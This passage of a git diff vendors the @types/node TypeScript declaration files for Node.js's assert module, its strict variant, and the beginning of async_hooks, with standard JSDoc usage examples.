string | Error): asserts value; + namespace assert { + /** + * Indicates the failure of an assertion. All errors thrown by the `node:assert` module will be instances of the `AssertionError` class. + */ + class AssertionError extends Error { + /** + * Set to the `actual` argument for methods such as {@link assert.strictEqual()}. + */ + actual: unknown; + /** + * Set to the `expected` argument for methods such as {@link assert.strictEqual()}. + */ + expected: unknown; + /** + * Set to the passed in operator value. + */ + operator: string; + /** + * Indicates if the message was auto-generated (`true`) or not. + */ + generatedMessage: boolean; + /** + * Value is always `ERR_ASSERTION` to show that the error is an assertion error. + */ + code: "ERR_ASSERTION"; + constructor(options?: { + /** If provided, the error message is set to this value. */ + message?: string | undefined; + /** The `actual` property on the error instance. */ + actual?: unknown | undefined; + /** The `expected` property on the error instance. */ + expected?: unknown | undefined; + /** The `operator` property on the error instance. */ + operator?: string | undefined; + /** If provided, the generated stack trace omits frames before this function. */ + // eslint-disable-next-line @typescript-eslint/ban-types + stackStartFn?: Function | undefined; + }); + } + /** + * This feature is deprecated and will be removed in a future version. + * Please consider using alternatives such as the `mock` helper function. + * @since v14.2.0, v12.19.0 + * @deprecated Deprecated + */ + class CallTracker { + /** + * The wrapper function is expected to be called exactly `exact` times. If the + * function has not been called exactly `exact` times when `tracker.verify()` is called, then `tracker.verify()` will throw an + * error. + * + * ```js + * import assert from 'node:assert'; + * + * // Creates call tracker. + * const tracker = new assert.CallTracker(); + * + * function func() {} + * + * // Returns a function that wraps func() that must be called exact times + * // before tracker.verify(). + * const callsfunc = tracker.calls(func); + * ``` + * @since v14.2.0, v12.19.0 + * @param [fn='A no-op function'] + * @param [exact=1] + * @return A function that wraps `fn`. + */ + calls(exact?: number): () => void; + calls any>(fn?: Func, exact?: number): Func; + /** + * Example: + * + * ```js + * import assert from 'node:assert'; + * + * const tracker = new assert.CallTracker(); + * + * function func() {} + * const callsfunc = tracker.calls(func); + * callsfunc(1, 2, 3); + * + * assert.deepStrictEqual(tracker.getCalls(callsfunc), + * [{ thisArg: undefined, arguments: [1, 2, 3] }]); + * ``` + * @since v18.8.0, v16.18.0 + * @return An array with all the calls to a tracked function. + */ + getCalls(fn: Function): CallTrackerCall[]; + /** + * The arrays contains information about the expected and actual number of calls of + * the functions that have not been called the expected number of times. + * + * ```js + * import assert from 'node:assert'; + * + * // Creates call tracker. + * const tracker = new assert.CallTracker(); + * + * function func() {} + * + * // Returns a function that wraps func() that must be called exact times + * // before tracker.verify(). + * const callsfunc = tracker.calls(func, 2); + * + * // Returns an array containing information on callsfunc() + * console.log(tracker.report()); + * // [ + * // { + * // message: 'Expected the func function to be executed 2 time(s) but was + * // executed 0 time(s).', + * // actual: 0, + * // expected: 2, + * // operator: 'func', + * // stack: stack trace + * // } + * // ] + * ``` + * @since v14.2.0, v12.19.0 + * @return An array of objects containing information about the wrapper functions returned by {@link tracker.calls()}. + */ + report(): CallTrackerReportInformation[]; + /** + * Reset calls of the call tracker. If a tracked function is passed as an argument, the calls will be reset for it. + * If no arguments are passed, all tracked functions will be reset. + * + * ```js + * import assert from 'node:assert'; + * + * const tracker = new assert.CallTracker(); + * + * function func() {} + * const callsfunc = tracker.calls(func); + * + * callsfunc(); + * // Tracker was called once + * assert.strictEqual(tracker.getCalls(callsfunc).length, 1); + * + * tracker.reset(callsfunc); + * assert.strictEqual(tracker.getCalls(callsfunc).length, 0); + * ``` + * @since v18.8.0, v16.18.0 + * @param fn a tracked function to reset. + */ + reset(fn?: Function): void; + /** + * Iterates through the list of functions passed to {@link tracker.calls()} and will throw an error for functions that + * have not been called the expected number of times. + * + * ```js + * import assert from 'node:assert'; + * + * // Creates call tracker. + * const tracker = new assert.CallTracker(); + * + * function func() {} + * + * // Returns a function that wraps func() that must be called exact times + * // before tracker.verify(). + * const callsfunc = tracker.calls(func, 2); + * + * callsfunc(); + * + * // Will throw an error since callsfunc() was only called once. + * tracker.verify(); + * ``` + * @since v14.2.0, v12.19.0 + */ + verify(): void; + } + interface CallTrackerCall { + thisArg: object; + arguments: unknown[]; + } + interface CallTrackerReportInformation { + message: string; + /** The actual number of times the function was called. */ + actual: number; + /** The number of times the function was expected to be called. */ + expected: number; + /** The name of the function that is wrapped. */ + operator: string; + /** A stack trace of the function. */ + stack: object; + } + type AssertPredicate = RegExp | (new() => object) | ((thrown: unknown) => boolean) | object | Error; + /** + * Throws an `AssertionError` with the provided error message or a default + * error message. If the `message` parameter is an instance of an `Error` then + * it will be thrown instead of the `AssertionError`. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.fail(); + * // AssertionError [ERR_ASSERTION]: Failed + * + * assert.fail('boom'); + * // AssertionError [ERR_ASSERTION]: boom + * + * assert.fail(new TypeError('need array')); + * // TypeError: need array + * ``` + * + * Using `assert.fail()` with more than two arguments is possible but deprecated. + * See below for further details. + * @since v0.1.21 + * @param [message='Failed'] + */ + function fail(message?: string | Error): never; + /** @deprecated since v10.0.0 - use fail([message]) or other assert functions instead. */ + function fail( + actual: unknown, + expected: unknown, + message?: string | Error, + operator?: string, + // eslint-disable-next-line @typescript-eslint/ban-types + stackStartFn?: Function, + ): never; + /** + * Tests if `value` is truthy. It is equivalent to `assert.equal(!!value, true, message)`. + * + * If `value` is not truthy, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is `undefined`, a default + * error message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown instead of the `AssertionError`. + * If no arguments are passed in at all `message` will be set to the string:`` 'No value argument passed to `assert.ok()`' ``. + * + * Be aware that in the `repl` the error message will be different to the one + * thrown in a file! See below for further details. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.ok(true); + * // OK + * assert.ok(1); + * // OK + * + * assert.ok(); + * // AssertionError: No value argument passed to `assert.ok()` + * + * assert.ok(false, 'it\'s false'); + * // AssertionError: it's false + * + * // In the repl: + * assert.ok(typeof 123 === 'string'); + * // AssertionError: false == true + * + * // In a file (e.g. test.js): + * assert.ok(typeof 123 === 'string'); + * // AssertionError: The expression evaluated to a falsy value: + * // + * // assert.ok(typeof 123 === 'string') + * + * assert.ok(false); + * // AssertionError: The expression evaluated to a falsy value: + * // + * // assert.ok(false) + * + * assert.ok(0); + * // AssertionError: The expression evaluated to a falsy value: + * // + * // assert.ok(0) + * ``` + * + * ```js + * import assert from 'node:assert/strict'; + * + * // Using `assert()` works the same: + * assert(0); + * // AssertionError: The expression evaluated to a falsy value: + * // + * // assert(0) + * ``` + * @since v0.1.21 + */ + function ok(value: unknown, message?: string | Error): asserts value; + /** + * **Strict assertion mode** + * + * An alias of {@link strictEqual}. + * + * **Legacy assertion mode** + * + * > Stability: 3 - Legacy: Use {@link strictEqual} instead. + * + * Tests shallow, coercive equality between the `actual` and `expected` parameters + * using the [`==` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality). `NaN` is specially handled + * and treated as being identical if both sides are `NaN`. + * + * ```js + * import assert from 'node:assert'; + * + * assert.equal(1, 1); + * // OK, 1 == 1 + * assert.equal(1, '1'); + * // OK, 1 == '1' + * assert.equal(NaN, NaN); + * // OK + * + * assert.equal(1, 2); + * // AssertionError: 1 == 2 + * assert.equal({ a: { b: 1 } }, { a: { b: 1 } }); + * // AssertionError: { a: { b: 1 } } == { a: { b: 1 } } + * ``` + * + * If the values are not equal, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is undefined, a default + * error message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown instead of the `AssertionError`. + * @since v0.1.21 + */ + function equal(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * **Strict assertion mode** + * + * An alias of {@link notStrictEqual}. + * + * **Legacy assertion mode** + * + * > Stability: 3 - Legacy: Use {@link notStrictEqual} instead. + * + * Tests shallow, coercive inequality with the [`!=` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Inequality). `NaN` is + * specially handled and treated as being identical if both sides are `NaN`. + * + * ```js + * import assert from 'node:assert'; + * + * assert.notEqual(1, 2); + * // OK + * + * assert.notEqual(1, 1); + * // AssertionError: 1 != 1 + * + * assert.notEqual(1, '1'); + * // AssertionError: 1 != '1' + * ``` + * + * If the values are equal, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is undefined, a default error + * message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown instead of the `AssertionError`. + * @since v0.1.21 + */ + function notEqual(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * **Strict assertion mode** + * + * An alias of {@link deepStrictEqual}. + * + * **Legacy assertion mode** + * + * > Stability: 3 - Legacy: Use {@link deepStrictEqual} instead. + * + * Tests for deep equality between the `actual` and `expected` parameters. Consider + * using {@link deepStrictEqual} instead. {@link deepEqual} can have + * surprising results. + * + * _Deep equality_ means that the enumerable "own" properties of child objects + * are also recursively evaluated by the following rules. + * @since v0.1.21 + */ + function deepEqual(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * **Strict assertion mode** + * + * An alias of {@link notDeepStrictEqual}. + * + * **Legacy assertion mode** + * + * > Stability: 3 - Legacy: Use {@link notDeepStrictEqual} instead. + * + * Tests for any deep inequality. Opposite of {@link deepEqual}. + * + * ```js + * import assert from 'node:assert'; + * + * const obj1 = { + * a: { + * b: 1, + * }, + * }; + * const obj2 = { + * a: { + * b: 2, + * }, + * }; + * const obj3 = { + * a: { + * b: 1, + * }, + * }; + * const obj4 = { __proto__: obj1 }; + * + * assert.notDeepEqual(obj1, obj1); + * // AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } } + * + * assert.notDeepEqual(obj1, obj2); + * // OK + * + * assert.notDeepEqual(obj1, obj3); + * // AssertionError: { a: { b: 1 } } notDeepEqual { a: { b: 1 } } + * + * assert.notDeepEqual(obj1, obj4); + * // OK + * ``` + * + * If the values are deeply equal, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is undefined, a default + * error message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown + * instead of the `AssertionError`. + * @since v0.1.21 + */ + function notDeepEqual(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * Tests strict equality between the `actual` and `expected` parameters as + * determined by [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is). + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.strictEqual(1, 2); + * // AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal: + * // + * // 1 !== 2 + * + * assert.strictEqual(1, 1); + * // OK + * + * assert.strictEqual('Hello foobar', 'Hello World!'); + * // AssertionError [ERR_ASSERTION]: Expected inputs to be strictly equal: + * // + actual - expected + * // + * // + 'Hello foobar' + * // - 'Hello World!' + * // ^ + * + * const apples = 1; + * const oranges = 2; + * assert.strictEqual(apples, oranges, `apples ${apples} !== oranges ${oranges}`); + * // AssertionError [ERR_ASSERTION]: apples 1 !== oranges 2 + * + * assert.strictEqual(1, '1', new TypeError('Inputs are not identical')); + * // TypeError: Inputs are not identical + * ``` + * + * If the values are not strictly equal, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is undefined, a + * default error message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown + * instead of the `AssertionError`. + * @since v0.1.21 + */ + function strictEqual(actual: unknown, expected: T, message?: string | Error): asserts actual is T; + /** + * Tests strict inequality between the `actual` and `expected` parameters as + * determined by [`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is). + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.notStrictEqual(1, 2); + * // OK + * + * assert.notStrictEqual(1, 1); + * // AssertionError [ERR_ASSERTION]: Expected "actual" to be strictly unequal to: + * // + * // 1 + * + * assert.notStrictEqual(1, '1'); + * // OK + * ``` + * + * If the values are strictly equal, an `AssertionError` is thrown with a `message` property set equal to the value of the `message` parameter. If the `message` parameter is undefined, a + * default error message is assigned. If the `message` parameter is an instance of an `Error` then it will be thrown + * instead of the `AssertionError`. + * @since v0.1.21 + */ + function notStrictEqual(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * Tests for deep equality between the `actual` and `expected` parameters. + * "Deep" equality means that the enumerable "own" properties of child objects + * are recursively evaluated also by the following rules. + * @since v1.2.0 + */ + function deepStrictEqual(actual: unknown, expected: T, message?: string | Error): asserts actual is T; + /** + * Tests for deep strict inequality. Opposite of {@link deepStrictEqual}. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.notDeepStrictEqual({ a: 1 }, { a: '1' }); + * // OK + * ``` + * + * If the values are deeply and strictly equal, an `AssertionError` is thrown + * with a `message` property set equal to the value of the `message` parameter. If + * the `message` parameter is undefined, a default error message is assigned. If + * the `message` parameter is an instance of an `Error` then it will be thrown + * instead of the `AssertionError`. + * @since v1.2.0 + */ + function notDeepStrictEqual(actual: unknown, expected: unknown, message?: string | Error): void; + /** + * Expects the function `fn` to throw an error. + * + * If specified, `error` can be a [`Class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes), + * [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions), a validation function, + * a validation object where each property will be tested for strict deep equality, + * or an instance of error where each property will be tested for strict deep + * equality including the non-enumerable `message` and `name` properties. When + * using an object, it is also possible to use a regular expression, when + * validating against a string property. See below for examples. + * + * If specified, `message` will be appended to the message provided by the `AssertionError` if the `fn` call fails to throw or in case the error validation + * fails. + * + * Custom validation object/error instance: + * + * ```js + * import assert from 'node:assert/strict'; + * + * const err = new TypeError('Wrong value'); + * err.code = 404; + * err.foo = 'bar'; + * err.info = { + * nested: true, + * baz: 'text', + * }; + * err.reg = /abc/i; + * + * assert.throws( + * () => { + * throw err; + * }, + * { + * name: 'TypeError', + * message: 'Wrong value', + * info: { + * nested: true, + * baz: 'text', + * }, + * // Only properties on the validation object will be tested for. + * // Using nested objects requires all properties to be present. Otherwise + * // the validation is going to fail. + * }, + * ); + * + * // Using regular expressions to validate error properties: + * assert.throws( + * () => { + * throw err; + * }, + * { + * // The `name` and `message` properties are strings and using regular + * // expressions on those will match against the string. If they fail, an + * // error is thrown. + * name: /^TypeError$/, + * message: /Wrong/, + * foo: 'bar', + * info: { + * nested: true, + * // It is not possible to use regular expressions for nested properties! + * baz: 'text', + * }, + * // The `reg` property contains a regular expression and only if the + * // validation object contains an identical regular expression, it is going + * // to pass. + * reg: /abc/i, + * }, + * ); + * + * // Fails due to the different `message` and `name` properties: + * assert.throws( + * () => { + * const otherErr = new Error('Not found'); + * // Copy all enumerable properties from `err` to `otherErr`. + * for (const [key, value] of Object.entries(err)) { + * otherErr[key] = value; + * } + * throw otherErr; + * }, + * // The error's `message` and `name` properties will also be checked when using + * // an error as validation object. + * err, + * ); + * ``` + * + * Validate instanceof using constructor: + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.throws( + * () => { + * throw new Error('Wrong value'); + * }, + * Error, + * ); + * ``` + * + * Validate error message using [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions): + * + * Using a regular expression runs `.toString` on the error object, and will + * therefore also include the error name. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.throws( + * () => { + * throw new Error('Wrong value'); + * }, + * /^Error: Wrong value$/, + * ); + * ``` + * + * Custom error validation: + * + * The function must return `true` to indicate all internal validations passed. + * It will otherwise fail with an `AssertionError`. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.throws( + * () => { + * throw new Error('Wrong value'); + * }, + * (err) => { + * assert(err instanceof Error); + * assert(/value/.test(err)); + * // Avoid returning anything from validation functions besides `true`. + * // Otherwise, it's not clear what part of the validation failed. Instead, + * // throw an error about the specific validation that failed (as done in this + * // example) and add as much helpful debugging information to that error as + * // possible. + * return true; + * }, + * 'unexpected error', + * ); + * ``` + * + * `error` cannot be a string. If a string is provided as the second + * argument, then `error` is assumed to be omitted and the string will be used for `message` instead. This can lead to easy-to-miss mistakes. Using the same + * message as the thrown error message is going to result in an `ERR_AMBIGUOUS_ARGUMENT` error. Please read the example below carefully if using + * a string as the second argument gets considered: + * + * ```js + * import assert from 'node:assert/strict'; + * + * function throwingFirst() { + * throw new Error('First'); + * } + * + * function throwingSecond() { + * throw new Error('Second'); + * } + * + * function notThrowing() {} + * + * // The second argument is a string and the input function threw an Error. + * // The first case will not throw as it does not match for the error message + * // thrown by the input function! + * assert.throws(throwingFirst, 'Second'); + * // In the next example the message has no benefit over the message from the + * // error and since it is not clear if the user intended to actually match + * // against the error message, Node.js throws an `ERR_AMBIGUOUS_ARGUMENT` error. + * assert.throws(throwingSecond, 'Second'); + * // TypeError [ERR_AMBIGUOUS_ARGUMENT] + * + * // The string is only used (as message) in case the function does not throw: + * assert.throws(notThrowing, 'Second'); + * // AssertionError [ERR_ASSERTION]: Missing expected exception: Second + * + * // If it was intended to match for the error message do this instead: + * // It does not throw because the error messages match. + * assert.throws(throwingSecond, /Second$/); + * + * // If the error message does not match, an AssertionError is thrown. + * assert.throws(throwingFirst, /Second$/); + * // AssertionError [ERR_ASSERTION] + * ``` + * + * Due to the confusing error-prone notation, avoid a string as the second + * argument. + * @since v0.1.21 + */ + function throws(block: () => unknown, message?: string | Error): void; + function throws(block: () => unknown, error: AssertPredicate, message?: string | Error): void; + /** + * Asserts that the function `fn` does not throw an error. + * + * Using `assert.doesNotThrow()` is actually not useful because there + * is no benefit in catching an error and then rethrowing it. Instead, consider + * adding a comment next to the specific code path that should not throw and keep + * error messages as expressive as possible. + * + * When `assert.doesNotThrow()` is called, it will immediately call the `fn` function. + * + * If an error is thrown and it is the same type as that specified by the `error` parameter, then an `AssertionError` is thrown. If the error is of a + * different type, or if the `error` parameter is undefined, the error is + * propagated back to the caller. + * + * If specified, `error` can be a [`Class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes), + * [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions), or a validation + * function. See {@link throws} for more details. + * + * The following, for instance, will throw the `TypeError` because there is no + * matching error type in the assertion: + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.doesNotThrow( + * () => { + * throw new TypeError('Wrong value'); + * }, + * SyntaxError, + * ); + * ``` + * + * However, the following will result in an `AssertionError` with the message + * 'Got unwanted exception...': + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.doesNotThrow( + * () => { + * throw new TypeError('Wrong value'); + * }, + * TypeError, + * ); + * ``` + * + * If an `AssertionError` is thrown and a value is provided for the `message` parameter, the value of `message` will be appended to the `AssertionError` message: + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.doesNotThrow( + * () => { + * throw new TypeError('Wrong value'); + * }, + * /Wrong value/, + * 'Whoops', + * ); + * // Throws: AssertionError: Got unwanted exception: Whoops + * ``` + * @since v0.1.21 + */ + function doesNotThrow(block: () => unknown, message?: string | Error): void; + function doesNotThrow(block: () => unknown, error: AssertPredicate, message?: string | Error): void; + /** + * Throws `value` if `value` is not `undefined` or `null`. This is useful when + * testing the `error` argument in callbacks. The stack trace contains all frames + * from the error passed to `ifError()` including the potential new frames for `ifError()` itself. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.ifError(null); + * // OK + * assert.ifError(0); + * // AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 0 + * assert.ifError('error'); + * // AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 'error' + * assert.ifError(new Error()); + * // AssertionError [ERR_ASSERTION]: ifError got unwanted exception: Error + * + * // Create some random error frames. + * let err; + * (function errorFrame() { + * err = new Error('test error'); + * })(); + * + * (function ifErrorFrame() { + * assert.ifError(err); + * })(); + * // AssertionError [ERR_ASSERTION]: ifError got unwanted exception: test error + * // at ifErrorFrame + * // at errorFrame + * ``` + * @since v0.1.97 + */ + function ifError(value: unknown): asserts value is null | undefined; + /** + * Awaits the `asyncFn` promise or, if `asyncFn` is a function, immediately + * calls the function and awaits the returned promise to complete. It will then + * check that the promise is rejected. + * + * If `asyncFn` is a function and it throws an error synchronously, `assert.rejects()` will return a rejected `Promise` with that error. If the + * function does not return a promise, `assert.rejects()` will return a rejected `Promise` with an [ERR_INVALID_RETURN_VALUE](https://nodejs.org/docs/latest-v22.x/api/errors.html#err_invalid_return_value) + * error. In both cases the error handler is skipped. + * + * Besides the async nature to await the completion behaves identically to {@link throws}. + * + * If specified, `error` can be a [`Class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes), + * [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions), a validation function, + * an object where each property will be tested for, or an instance of error where + * each property will be tested for including the non-enumerable `message` and `name` properties. + * + * If specified, `message` will be the message provided by the `{@link AssertionError}` if the `asyncFn` fails to reject. + * + * ```js + * import assert from 'node:assert/strict'; + * + * await assert.rejects( + * async () => { + * throw new TypeError('Wrong value'); + * }, + * { + * name: 'TypeError', + * message: 'Wrong value', + * }, + * ); + * ``` + * + * ```js + * import assert from 'node:assert/strict'; + * + * await assert.rejects( + * async () => { + * throw new TypeError('Wrong value'); + * }, + * (err) => { + * assert.strictEqual(err.name, 'TypeError'); + * assert.strictEqual(err.message, 'Wrong value'); + * return true; + * }, + * ); + * ``` + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.rejects( + * Promise.reject(new Error('Wrong value')), + * Error, + * ).then(() => { + * // ... + * }); + * ``` + * + * `error` cannot be a string. If a string is provided as the second argument, then `error` is assumed to + * be omitted and the string will be used for `message` instead. This can lead to easy-to-miss mistakes. Please read the + * example in {@link throws} carefully if using a string as the second argument gets considered. + * @since v10.0.0 + */ + function rejects(block: (() => Promise) | Promise, message?: string | Error): Promise; + function rejects( + block: (() => Promise) | Promise, + error: AssertPredicate, + message?: string | Error, + ): Promise; + /** + * Awaits the `asyncFn` promise or, if `asyncFn` is a function, immediately + * calls the function and awaits the returned promise to complete. It will then + * check that the promise is not rejected. + * + * If `asyncFn` is a function and it throws an error synchronously, `assert.doesNotReject()` will return a rejected `Promise` with that error. If + * the function does not return a promise, `assert.doesNotReject()` will return a + * rejected `Promise` with an [ERR_INVALID_RETURN_VALUE](https://nodejs.org/docs/latest-v22.x/api/errors.html#err_invalid_return_value) error. In both cases + * the error handler is skipped. + * + * Using `assert.doesNotReject()` is actually not useful because there is little + * benefit in catching a rejection and then rejecting it again. Instead, consider + * adding a comment next to the specific code path that should not reject and keep + * error messages as expressive as possible. + * + * If specified, `error` can be a [`Class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes), + * [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions), or a validation + * function. See {@link throws} for more details. + * + * Besides the async nature to await the completion behaves identically to {@link doesNotThrow}. + * + * ```js + * import assert from 'node:assert/strict'; + * + * await assert.doesNotReject( + * async () => { + * throw new TypeError('Wrong value'); + * }, + * SyntaxError, + * ); + * ``` + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.doesNotReject(Promise.reject(new TypeError('Wrong value'))) + * .then(() => { + * // ... + * }); + * ``` + * @since v10.0.0 + */ + function doesNotReject( + block: (() => Promise) | Promise, + message?: string | Error, + ): Promise; + function doesNotReject( + block: (() => Promise) | Promise, + error: AssertPredicate, + message?: string | Error, + ): Promise; + /** + * Expects the `string` input to match the regular expression. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.match('I will fail', /pass/); + * // AssertionError [ERR_ASSERTION]: The input did not match the regular ... + * + * assert.match(123, /pass/); + * // AssertionError [ERR_ASSERTION]: The "string" argument must be of type string. + * + * assert.match('I will pass', /pass/); + * // OK + * ``` + * + * If the values do not match, or if the `string` argument is of another type than `string`, an `{@link AssertionError}` is thrown with a `message` property set equal + * to the value of the `message` parameter. If the `message` parameter is + * undefined, a default error message is assigned. If the `message` parameter is an + * instance of an [Error](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-error) then it will be thrown instead of the `{@link AssertionError}`. + * @since v13.6.0, v12.16.0 + */ + function match(value: string, regExp: RegExp, message?: string | Error): void; + /** + * Expects the `string` input not to match the regular expression. + * + * ```js + * import assert from 'node:assert/strict'; + * + * assert.doesNotMatch('I will fail', /fail/); + * // AssertionError [ERR_ASSERTION]: The input was expected to not match the ... + * + * assert.doesNotMatch(123, /pass/); + * // AssertionError [ERR_ASSERTION]: The "string" argument must be of type string. + * + * assert.doesNotMatch('I will pass', /different/); + * // OK + * ``` + * + * If the values do match, or if the `string` argument is of another type than `string`, an `{@link AssertionError}` is thrown with a `message` property set equal + * to the value of the `message` parameter. If the `message` parameter is + * undefined, a default error message is assigned. If the `message` parameter is an + * instance of an [Error](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-error) then it will be thrown instead of the `{@link AssertionError}`. + * @since v13.6.0, v12.16.0 + */ + function doesNotMatch(value: string, regExp: RegExp, message?: string | Error): void; + /** + * In strict assertion mode, non-strict methods behave like their corresponding strict methods. For example, + * {@link deepEqual} will behave like {@link deepStrictEqual}. + * + * In strict assertion mode, error messages for objects display a diff. In legacy assertion mode, error + * messages for objects display the objects, often truncated. + * + * To use strict assertion mode: + * + * ```js + * import { strict as assert } from 'node:assert'; + * import assert from 'node:assert/strict'; + * ``` + * + * Example error diff: + * + * ```js + * import { strict as assert } from 'node:assert'; + * + * assert.deepEqual([[[1, 2, 3]], 4, 5], [[[1, 2, '3']], 4, 5]); + * // AssertionError: Expected inputs to be strictly deep-equal: + * // + actual - expected ... Lines skipped + * // + * // [ + * // [ + * // ... + * // 2, + * // + 3 + * // - '3' + * // ], + * // ... + * // 5 + * // ] + * ``` + * + * To deactivate the colors, use the `NO_COLOR` or `NODE_DISABLE_COLORS` environment variables. This will also + * deactivate the colors in the REPL. For more on color support in terminal environments, read the tty + * `getColorDepth()` documentation. + * + * @since v15.0.0, v13.9.0, v12.16.2, v9.9.0 + */ + namespace strict { + type AssertionError = assert.AssertionError; + type AssertPredicate = assert.AssertPredicate; + type CallTrackerCall = assert.CallTrackerCall; + type CallTrackerReportInformation = assert.CallTrackerReportInformation; + } + const strict: + & Omit< + typeof assert, + | "equal" + | "notEqual" + | "deepEqual" + | "notDeepEqual" + | "ok" + | "strictEqual" + | "deepStrictEqual" + | "ifError" + | "strict" + > + & { + (value: unknown, message?: string | Error): asserts value; + equal: typeof strictEqual; + notEqual: typeof notStrictEqual; + deepEqual: typeof deepStrictEqual; + notDeepEqual: typeof notDeepStrictEqual; + // Mapped types and assertion functions are incompatible? + // TS2775: Assertions require every name in the call target + // to be declared with an explicit type annotation. + ok: typeof ok; + strictEqual: typeof strictEqual; + deepStrictEqual: typeof deepStrictEqual; + ifError: typeof ifError; + strict: typeof strict; + }; + } + export = assert; +} +declare module "node:assert" { + import assert = require("assert"); + export = assert; +} diff --git a/node_modules/@types/node/assert/strict.d.ts b/node_modules/@types/node/assert/strict.d.ts new file mode 100644 index 000000000000..f333913a4565 --- /dev/null +++ b/node_modules/@types/node/assert/strict.d.ts @@ -0,0 +1,8 @@ +declare module "assert/strict" { + import { strict } from "node:assert"; + export = strict; +} +declare module "node:assert/strict" { + import { strict } from "node:assert"; + export = strict; +} diff --git a/node_modules/@types/node/async_hooks.d.ts b/node_modules/@types/node/async_hooks.d.ts new file mode 100644 index 000000000000..4d6df8150cb2 --- /dev/null +++ b/node_modules/@types/node/async_hooks.d.ts @@ -0,0 +1,541 @@ +/** + * We strongly discourage the use of the `async_hooks` API. + * Other APIs that can cover most of its use cases include: + * + * * [`AsyncLocalStorage`](https://nodejs.org/docs/latest-v22.x/api/async_context.html#class-asynclocalstorage) tracks async context + * * [`process.getActiveResourcesInfo()`](https://nodejs.org/docs/latest-v22.x/api/process.html#processgetactiveresourcesinfo) tracks active resources + * + * The `node:async_hooks` module provides an API to track asynchronous resources. + * It can be accessed using: + * + * ```js + * import async_hooks from 'node:async_hooks'; + * ``` + * @experimental + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/async_hooks.js) + */ +declare module "async_hooks" { + /** + * ```js + * import { executionAsyncId } from 'node:async_hooks'; + * import fs from 'node:fs'; + * + * console.log(executionAsyncId()); // 1 - bootstrap + * const path = '.'; + * fs.open(path, 'r', (err, fd) => { + * console.log(executionAsyncId()); // 6 - open() + * }); + * ``` + * + * The ID returned from `executionAsyncId()` is related to execution timing, not + * causality (which is covered by `triggerAsyncId()`): + * + * ```js + * const server = net.createServer((conn) => { + * // Returns the ID of the server, not of the new connection, because the + * // callback runs in the execution scope of the server's MakeCallback(). + * async_hooks.executionAsyncId(); + * + * }).listen(port, () => { + * // Returns the ID of a TickObject (process.nextTick()) because all + * // callbacks passed to .listen() are wrapped in a nextTick(). + * async_hooks.executionAsyncId(); + * }); + * ``` + * + * Promise contexts may not get precise `executionAsyncIds` by default. + * See the section on [promise execution tracking](https://nodejs.org/docs/latest-v22.x/api/async_hooks.html#promise-execution-tracking). + * @since v8.1.0 + * @return The `asyncId` of the current execution context. Useful to track when something calls. + */ + function executionAsyncId(): number; + /** + * Resource objects returned by `executionAsyncResource()` are most often internal + * Node.js handle objects with undocumented APIs. Using any functions or properties + * on the object is likely to crash your application and should be avoided. + * + * Using `executionAsyncResource()` in the top-level execution context will + * return an empty object as there is no handle or request object to use, + * but having an object representing the top-level can be helpful. + * + * ```js + * import { open } from 'node:fs'; + * import { executionAsyncId, executionAsyncResource } from 'node:async_hooks'; + * + * console.log(executionAsyncId(), executionAsyncResource()); // 1 {} + * open(new URL(import.meta.url), 'r', (err, fd) => { + * console.log(executionAsyncId(), executionAsyncResource()); // 7 FSReqWrap + * }); + * ``` + * + * This can be used to implement continuation local storage without the + * use of a tracking `Map` to store the metadata: + * + * ```js + * import { createServer } from 'node:http'; + * import { + * executionAsyncId, + * executionAsyncResource, + * 